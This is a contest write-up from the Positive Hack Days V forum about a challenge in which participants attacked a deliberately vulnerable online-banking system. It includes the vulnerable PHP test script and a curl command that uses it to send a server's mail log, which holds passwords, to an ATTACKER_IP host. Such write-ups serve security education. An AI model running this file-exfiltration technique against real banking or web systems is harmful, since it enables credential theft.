POSITIVE HACK DAYS



ОРГАНИЗАТОР

Как на PHDays V взламывали систему ДБО

  • 5 Июня 2015

    В рамках состоявшегося в Москве 26 и 27 мая форума по информационной безопасности Positive Hack Days V прошел традиционный конкурс по анализу защищенности систем ДБО «Большой ку$h». Соревнование проходило в два этапа: сначала участникам были предоставлены копии виртуальных машин, содержащие уязвимые веб-сервисы ДБО, аналогичные реальным системам. На втором этапе за один час участники должны были воспользоваться проблемами безопасности, обнаруженными при анализе образа системы ДБО, и перевести деньги из банка на свой счет.

    В этом году отдельные конкурсы стали частью CTF (подробнее в нашей статье на Хабрахабре), и, наряду с гостями форума, участвовать в соревнованиях могли CTF-команды. Общее число участников конкурса составило порядка 30 человек, а призовой фонд в этом году увеличился до 40 тысяч рублей (в прошлом году можно было «украсть» 20 тысяч).

    Технические подробности

    Специально для конкурса «Большой ку$h» была разработана система ДБО PHDays iBank, содержащая уязвимости, которые встречаются в реальных банковских системах. В этот раз система была разделена на две части — frontend и backend, предоставляющий простейший RESTful API. Поэтому участникам было необходимо ознакомиться еще и с протоколом взаимодействия частей ДБО.

    Как правило, в системах ДБО присутствуют не «топорные» ошибки безопасности, позволяющие провести прямую атаку с внедрением или исполнением зловредного кода, а логические уязвимости (слабые проверки, приводящие к утечке важных данных). Именно на них сделан акцент в конкурсной системе ДБО.

    В PHDays iBank было заложено 7 комбинаций уязвимостей, на каждую комбинацию приходилось по 10 банковских счетов виртуальных пользователей, на которых хранились деньги (чем сложнее уязвимость, тем больше денег на счете).

    Участники могли проводить следующие атаки:

    • брутфорс по спискам самых популярных паролей, доступных в Сети;
    • взлом аккаунтов с подключенной двухфакторной авторизацией (обход проверок);
    • эксплуатация уязвимостей в алгоритмах сброса паролей;
    • взаимодействие с тестовым сценарием, использовавшимся для контроля работоспособности API backend (обход проверок доступа, чтение произвольных файлов);
    • обход защиты механизма отложенных платежей (данная атака могла быть использована и для похищения денег со счетов других конкурсантов).

    Несколько уязвимостей, заложенных в систему

    Тестовый сценарий содержал следующий код:

     
      <?php
     
      if ($_SERVER['HTTP_HOST'] != 'ibank.dev') {
     
       exit;
     
     }
     
    
     
      if (empty($_GET['url'])) {
     
      exit;
     
      }
     
    
     
    $parts = parse_url($_GET['url']);
     
    $port = empty($parts['port']) ? '' : ':' . $parts['port'];
     
    $url = "http://{$parts['host']}$port/status";
     
     
    $ch = curl_init();
     
     
    curl_setopt_array($ch, [
     
    // CURLOPT_URL => $_GET['url'],
     
    CURLOPT_URL => $url,
     
    CURLOPT_HEADER => false,
     
    CURLOPT_RETURNTRANSFER => true,
     
    ]);
     
    
     
    if (!empty($_GET['params'])) {
     
    curl_setopt_array($ch, [
     
    CURLOPT_POST => true,
     
    CURLOPT_POSTFIELDS => $_GET['params']
     
       ]);
      }
     
    
     
    var_dump(curl_exec($ch));
     
    
     
    curl_close($ch);
    
     

    Проверку имени хоста можно обойти. Зная про возможность передачи файлов и используя символ @ в значении параметра, можно провести следующую атаку:

     
    curl -H 'Host: ibank.dev'
    'http://SERVER_IP/api_test.php?url=http://ATTACKER_IP/&params\[a\]=@
    /var/www/frontend/data/logs/mail.log'
     
    

    Получив содержимое лог-файла отправленных сообщений, участник мог найти в них пароли к учетным записям, которые использовали систему восстановления пароля.

    Для обхода двухфакторной аутентификации использовалась уязвимость, о которой не так давно писали на Хабре. Во время конкурса выяснилось, что не все участники были с ней знакомы, и поэтому работали по старинке, перебирая возможные значения.

    Ход сражения

    Участники могли не только атаковать систему ДБО, чтобы вывести средства из банка, но и атаковать счета друг друга, уводя с них деньги. Именно по этому пути пошли члены команды More Smoked Leet Chicken, которые выиграли соревнование. В итоге победителям удалось заработать более 15 тысяч рублей.

    Стас Поволоцкий, ставший вторым, смог украсть из конкурсного банка более 3200 рублей.

    Интересный момент: команда RDot, занявшая третье место, сумела найти и проэксплуатировать больше всех уязвимостей, однако ей не удалось защитить украденные деньги, которые были похищены с их счета командой More Smoked Leet Chicken.

    Финальная турнирная таблица:

    Поздравляем победителей!

Возврат к списку